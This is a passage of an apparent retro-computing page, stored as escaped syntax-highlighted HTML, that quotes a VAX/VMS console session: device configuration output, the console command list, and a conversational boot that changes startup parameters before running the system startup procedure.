style=\"color:#f92672\"\u003e-\u003c/span\u003eV4.\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e08\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e2B\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e92\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e4E\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eC7\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e 24MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e ?? \u003cspan style=\"color:#ae81ff\"\u003e001\u003c/span\u003e   \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e        NI  \u003cspan style=\"color:#ae81ff\"\u003e0172\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e sh config\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e KA46\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eA V1.\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e38E\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eV4.\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e08\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e2B\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e92\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e4E\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eC7\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e 24MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e DEVNBR    DEVNAM           INFO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e------\u003c/span\u003e    \u003cspan style=\"color:#f92672\"\u003e--------\u003c/span\u003e    \u003cspan style=\"color:#f92672\"\u003e--------------------------\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e         NVR    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e         LCG    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e HR \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e PLN FB \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e V1.\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e          DZ    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e       CACHE    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e         MEM    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e 24MB \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e SY\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e8MB, S0\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e8MB, S2\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e8MB, S4\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e0MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e         FPU    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e          IT    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e         SYS    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e          NI    ?? \u003cspan style=\"color:#ae81ff\"\u003e001\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0172\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e        SCSI    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eL0\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRZ26B   \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eINITR\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e         AUD    OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e ?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e BOOT [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e[R5:]\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003ebflg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e] [\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eddau\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e[:]]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e CONTINUE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e DEPOSIT [{ \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eB | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eW | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eL | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eQ | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eA }] [{ \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eP | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eV | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eI }] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eG] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eU] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eN:\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003en\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e [{ \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eaddr\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003esym\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e | @ }  [\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003edatum\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e]]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e EXAMINE [{ \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eB | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eW | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eL | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eQ | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eA }] [{ \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eP | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eV | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eI }] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eG] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eU] [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eN:\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003en\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e [{ \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eaddr\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003esym\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e | \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e | @ }]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e FIND [{ \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eMEMORY | \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eRPB }]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e HALT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e HELP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e INITIALIZE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e LOGIN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e REPEAT \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003ecmd\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET BOOT \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eddau\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET BFLG \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003ebflg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET DIAGENV \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET FBOOT \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET HALT \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET KBD \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET MOP \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET PSE \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET PSWD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET SCSI \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SET TRIG \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SHOW { BOOT | BFLG | CONFIG | DEV | DIAGENV | FBOOT | ETHER | ERROR |\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e ESTAT | HALT | KBD | MEM | MOP | PSE | SCSI | TRIG }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e START \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eaddr\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTEST\u003c/span\u003e [\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eUTIL] \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003edevnam | devnbr\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e UNJAM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e X \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eaddr\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003ecnt\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e ?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e B\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eDKA300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SYSBOOT\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e  SET\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eSTARTUP OPA0:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SYSBOOT\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e  SET WINDOWS_SYSTEM \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %SYSBOOT\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eE\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOPARAM, no such parameter WINDOWS_SYSTEM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SYSBOOT\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e  SET WRITESYSPARAMS \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SYSBOOT\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e  CONTINUE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e VAX\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eVMS Version V5.\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e2H4 Major version id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e Minor version id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e PLEASE ENTER \u003cspan style=\"color:#66d9ef\"\u003eDATE\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eAND\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTIME\u003c/span\u003e (DD\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eMMM\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eYYYY  HH:MM)  \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2009\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e51\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $ SPAWN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e SPAWN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %\u003cspan style=\"color:#66d9ef\"\u003eDCL-S\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eSPAWNED, process SYSTEM_1 spawned\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %\u003cspan style=\"color:#66d9ef\"\u003eDCL-S\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eATTACHED, terminal now attached \u003cspan style=\"color:#66d9ef\"\u003eto\u003c/span\u003e process SYSTEM_1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $ @SYS$SYSTEM:STARTUP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e $!  \u003cspan style=\"color:#66d9ef\"\u003eCopyright\u003c/span\u003e (c) \u003cspan style=\"color:#ae81ff\"\u003e1993\u003c/span\u003e Digital Equipment Corporation.  All rights reserved.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e %STDRV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eI\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eSTARTUP, VMS startup begun at \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNOV\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2009\u003c/span\u003e \u003cspan 